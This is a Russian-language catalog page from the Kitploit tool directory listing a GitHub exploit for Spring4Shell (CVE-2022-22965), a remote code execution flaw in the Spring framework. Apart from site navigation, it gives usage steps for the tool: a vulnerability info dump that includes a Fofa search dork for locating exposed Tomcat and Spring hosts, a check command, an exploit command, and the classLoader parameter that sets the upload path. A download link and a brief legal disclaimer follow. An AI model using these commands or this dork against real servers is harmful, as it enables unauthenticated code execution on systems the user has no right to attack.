Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-22965 — Spring4Shell (CVE-2022-22965) | Kitploit
Инструменты/GitHubGitHub/zer0yu/cve-2022-22965
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed Teaming
GitHubzer0yu/cve-2022-22965

CVE-2022-22965

Spring4Shell (CVE-2022-22965)

Репозиторий
1214 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-22965

Spring4Shell (CVE-2022-22965)

Использование

1. показать информацию

root@kitploit:~
❯ go run main.go -s                                               
[INF] VulnInfo:
{
  "Name": "CVE-2022-22965",
  "VulID": "nil",
  "Version": "1.0",
  "Author": "",
  "VulDate": "2022-03-30",
  "References": [
    "https://nosec.org/home/detail/4983.html"
  ],
  "AppName": "Spring Core",
  "AppPowerLink": "https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement",
  "AppVersion": "All",
  "VulType": "RCE",
  "Description": "An unauthenticated attacker can use this vulnerability to perform remote arbitrary code execution. The vulnerability is widespread in the Spring framework and derived frameworks, and JDK 9.0 and above are affected.",
  "Category": "REMOTE",
  "Dork": {
    "Fofa": "app=\"APACHE-Tomcat\" || app=\"vmware-SpringBoot-framework\" || app=\"vmware-SpringBoot-framework\" || app=\"vmware-Spring-Batch\" || app=\"vmware-Spring-framework\" || app=\"vmware-Spring-Security\"",
    "Quake": "",
    "Zoomeye": "",
    "Shodan": ""
  }
}%     

2. проверка

root@kitploit:~
echo http://127.0.0.1:8181/ | go run main.go -v -t 20
http://127.0.0.1:8181/

3. эксплуатация

root@kitploit:~
echo http://127.0.0.1:8181/ | go run main.go -m exploit -v

Возможно, потребуется изменить путь загрузки файлов; по умолчанию используется «webapps/ROOT»

root@kitploit:~
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT/

Отказ от ответственности

Эта процедура предназначена только для самостоятельной проверки безопасности; пожалуйста, сознательно соблюдайте местные законы.

Скачать инструмент